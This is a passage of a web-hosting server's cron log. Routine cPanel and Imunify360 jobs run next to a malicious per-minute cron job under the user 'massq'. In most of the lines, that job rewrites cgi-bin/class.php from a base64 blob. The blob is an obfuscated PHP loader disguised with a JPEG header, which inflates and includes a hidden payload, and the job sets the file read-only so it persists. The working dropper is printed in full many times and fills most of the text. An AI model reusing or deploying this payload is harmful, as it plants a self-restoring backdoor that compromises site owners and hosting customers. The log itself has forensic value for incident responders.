NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:40:01 server CROND[30194]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:41:01 server CROND[31161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:41:01 server CROND[31160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:41:01 server CROND[31162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:42:01 server CROND[31554]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 02:42:01 server CROND[31556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:42:01 server CROND[31557]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:42:01 server CROND[31558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:42:01 server CROND[31555]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep 13 02:43:01 server CROND[31967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:43:01 server CROND[31968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:43:01 server CROND[31969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:44:01 server CROND[32368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:44:01 server CROND[32369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:44:01 server CROND[32370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:45:01 server CROND[320]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 02:45:01 server CROND[326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:45:01 server CROND[327]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:45:01 server CROND[330]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:45:01 server CROND[328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:45:01 server CROND[329]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 02:45:01 server CROND[332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:46:01 server CROND[1331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:46:01 server CROND[1330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:46:01 server CROND[1332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:47:01 server CROND[2388]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Sep 13 02:47:01 server CROND[2389]: (root) CMD (  bash -c 'sleep $((RANDOM % 1800))'; /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/imunify-check-pkg-integrity >/dev/null 2>&1)
Sep 13 02:47:01 server CROND[2390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:47:01 server CROND[2394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:47:01 server CROND[2396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:47:45 server crontab[2849]: (root) LIST (root)
Sep 13 02:47:45 server crontab[2852]: (root) LIST (root)
Sep 13 02:47:50 server crontab[2969]: (root) LIST (root)
Sep 13 02:48:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep 13 02:48:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Sep 13 02:48:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Sep 13 02:48:01 server CROND[3193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:48:01 server CROND[3194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:48:01 server CROND[3195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:49:01 server CROND[4133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:49:01 server CROND[4134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:49:01 server CROND[4137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:50:01 server CROND[4538]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 02:50:01 server CROND[4537]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 02:50:01 server CROND[4544]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:50:01 server CROND[4550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:50:01 server CROND[4551]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 02:50:01 server CROND[4553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:50:01 server CROND[4555]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:50:01 server CROND[4552]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 02:50:01 server CROND[4554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:51:01 server CROND[5408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:51:01 server CROND[5409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:51:01 server CROND[5410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:52:01 server CROND[5888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:52:01 server CROND[5889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:52:01 server CROND[5890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 